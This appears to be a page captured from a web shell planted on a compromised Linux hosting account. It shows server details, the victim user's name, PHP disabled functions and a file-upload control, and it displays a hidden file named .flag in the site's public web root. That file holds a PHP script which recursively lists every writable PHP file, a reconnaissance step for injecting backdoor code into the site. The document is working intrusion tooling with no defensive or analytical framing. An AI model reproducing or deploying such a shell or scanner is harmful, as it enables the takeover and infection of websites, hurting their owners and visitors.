HEX
Server: Apache
System: Linux 65-254-81-60.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User: roshanchandy (1003)
PHP: 8.4.12
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/roshanchandy/public_html/.flag
<?php   function scan($path, $root) {     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) {             $p = $path . '/' . $file;             if ($file != '.' && $file != '..') {                 if (is_link($p)) {                     continue;                 } elseif (is_file($p) && substr($p, -4) == '.php' && is_writeable($p)) {                     $res = str_replace($root, '', $p);                     print "<f>{$res}</f>";                 } elseif (is_dir($p)) {                     scan($p, $root);                 }             }         }     } } $r = "/home/roshanchandy/public_html"; scan($r, $r); die('!ended!');